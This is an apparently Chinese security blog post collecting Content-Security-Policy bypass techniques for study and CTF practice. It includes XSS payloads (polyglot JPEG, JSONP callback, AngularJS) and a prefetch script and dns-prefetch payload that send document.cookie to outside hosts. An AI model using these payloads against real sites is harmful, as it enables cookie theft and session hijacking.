Csp姿势积累 (17.5.11)
in 各种姿势 with 0 comment

Csp姿势积累 (17.5.11)

in 各种姿势 with 0 comment

这是一个逐渐积累的网页,内容较多时在做整理

基础

Csp -> Content-Security-Policy

是一个通过限制发起者(initiator)和目的地(destination)的以同源思想对xss、csrf、ssrf进行过滤的浏览器端防御方式。

下面是大牛博客中对Csp各个参数进行的分析

[Csp 基础] (http://lorexxar.cn/2016/08/08/ccsp/)

0x01简单的示例

<html>
<head>
    <title>form-action</title>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-123'";>
</head>
<?php
    $a = $_POST['a'];
    echo $a;
?>
<body>
<form method="post" action="nonce.php">
    <input value="a" type="submit">
    <textarea name="a"></textarea>
</form>

</body>
</html>

这个简单的代码中设置了content="script-src 'nonce-123'",这样就使得nonce与csp参数中不一致的script代码无法执行,只需要设置一下即可绕过,如<script nonce='123'>

0x02双语言Javascript/JPEG绕过

因为Csp是使用的同源策略进行过滤,但是对来自己方站点的请求不会过滤,所以可以像php一样先上传一个具有二意型的图片,在通过Javascript执行这个图片即可进行绕过。

原文在:Bypassing CSP using polyglot JPEGs

首先,一个JPEG头文件的四个字节0XFF 0XD8 0XFF 0XE0是有效的Javascript变量。之后将表示JPEG头部长度的字节改为2F 2A,这两个字符即代表Javascript的注释符*/,又代表头文件的长度,之后用00 00来填充不足的长度即可。

FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00 ......

头部文件不能随便写语句,所以到了JPEG内容之后,再闭合掉注释,写入语句,在加上注释

之后就要在文件的末尾加上注释

2F 2F

再加上编辑图像数据的最后四个字节,让它符合图片格式。

FF D9

这种方法原作者已经将这个漏洞提交,最新的firefox已经修复,Chrome则不会将图片作为Javascript执行。

需要插入的代码如下:

<script charset ='ISO-8859-1'src='xss.jpg'> </script>

这里需要注意一个编码的问题,如果不自己设定charset,按照统一的utf-8处理的话,编码就会损坏构造成功的代码,所以需要在标签中将编码设置成ISO-8859-1

cdn bypass Csp

这是个github上的bypass csp挑战

github上的原文

这是原文提供的代码:

<?php
header('Content-Security-Policy: default-src \'self\' ajax.googleapis.com');
header('Content-Type: text/html; charset=utf-8');
header('X-Frame-Options: deny');
header('X-Content-Type-Options: nosniff');
?><!doctype html>
<html>
<head>
<title>Sh*t, it's CSP!</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
</head>
<body class="<?php echo $_GET['xss']; ?>">
     <h1>CSP ruined my Pentest-Report!</h1>
     <h3>Wait, yours too? Let's do something about it :)</h3>
     <hr />
     <p>
        Welcome to yet another XSS challenge.
     </p>
     <h3>The Rules</h3>
     <ol>
        <li>Execute <code>alert(1337)</code> via GET parameter <code>xss</code> on this domain</li>
        <li>Only modern browsers that support CSP are accepted (FF38+, Chrome 43+, Edge)</li>
        <li>Please don't try to find a file that echoes "alert(1337)" on this domain. Even if you find one, it would not be a valid solution.
        <li>There is at least one model solution.</li>
        <li>Minimal user interaction is permitted</li>
        <li>In the end, the shortest vector will win.</li>
     </ol>
     <h3>The Winners</h3>
     <ol>
        <li>You?</li>
     </ol>
</body>

可以看到代码中做得过滤:
header('Content-Security-Policy: default-src \'self\' ajax.googleapis.com')

方法1(回调函数)

原文中给出的最短的答案就是使用的这种方法,使用api自带的回调函数,在传入自己想要执行的函数即可。

wp:

"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

方法2(AngularJS)

代码:

ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

这里使用了AngularJS,ng-click后面跟的参数是AngularJS的表达式,这里使用了googleapis的angularjs库,正好就可以使用,也是很巧妙解题方式。

还有些姿势之后再研究。

一些小的姿势

jQuery sourcemap

sourcemap用于对js代码进行维护时,将压缩过后的代码恢复成原来的样子,一般单独成一个.map,文件,可以写在与源码同一文件夹内或者远程加载。要使用时,在压缩过后的js代码最后加上一行//@ sourceMappingURL=/path/to/file.js.map就可以了

header("Content-Security-Policy: script-src http://godot.win/test/csp/ 'unsafe-inline';");使用unsafe-inline参数,既允许内联函数运行时,可以用这个方法进行绕过。

使用的时候,直接把<script>var a=1//@ sourceMappingURL=//xss.site</script>插进去就行了,在17年的zctf中就考了这个姿势。

但是这个方法对环境有很多要求,需要高版本的jquery,还有的自己还没搞清楚,柠檬师父写的wp中说只能在console中运行。我在本机上是没有运行出来,不过在sourceMappingURL指向的自己的服务器中看到了新的请求,说明突破了csp的限制加载了外部文件。

0x05 预加载绕过CSP

这个方法是在404 Team from Knownsec的博客看到的,使用的是HTML5的预加载特性:

页面资源预加载,他是浏览器提供的一个技巧,目的是让浏览器在空闲时间下载或预读取一些文档资源,用户在将来将会访问这些资源。一个Web页面可以对浏览器设置一系列的预加载指示,当浏览器加载完当前页面后,它会在后台静悄悄的加载指定的文档,并把它们存储在缓存里。当用户访问到这些预加载的文档后,浏览器能快速的从缓存里提取给用户。

预加载(Pre Browsing)有很多方法,在原文中列举了很多

利用

因为CSP策略最重要的原则就是同源策略,如果试图向外域发送请求,那么就会被CSP所拦截。之前的方法是将得到的信息放到一个站内,可以得到信息的地方。

这里利用预加载可以GET到一个在Chrome运用的方法(由于 Chrome CSP 中的规范执行是较低于 Firefox)

code:

 <?php

    header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");

    ?>

    <html>
    <head></head>
    <body>
        csp header test
        <script>
        document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";

        var n0t = document.createElement("link");
        n0t.setAttribute("rel", "prefetch");
        n0t.setAttribute("href", "//1J38ax.chromecsptest.test.n0tr00t.com/?" + document.cookie);
        document.head.appendChild(n0t);
        </script>
    </body>
    </html>

Result:
cspresult

这里把cookie放到了访问的网站url中,然后调用预加载,在被访问的网站中接收,就可以拿到cookie,这也是一个侧信道攻击的思路。

firefox

同样的思路,用在firefox上。

使用如下payload,即可发出一条dns解析请求,在ns服务器查看可得到内容

<link rel="dns-prefetch" href="[cookie].xss.com">d

302 跳转突破CSP

很多网站都有一个302跳转页面,这个页面一般通过GET的方式获取跳转方向。

如果一个网站的设置比较严格,设置了仅允许一个目录下的脚本加载。

如:

Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/ ;

csp限制了/a/目录,而我们的目标脚本在/b/目录下。这时候就可以请求重定向页面去访问/b/下的脚本。如:

<script src="http://127.0.0.1/a/redirect.php?url=/b/2" ></script>

但是加载的资源必须在同一个域下,也就是不能从a.com跳转到b.com从而加载b.com的资源。

Responses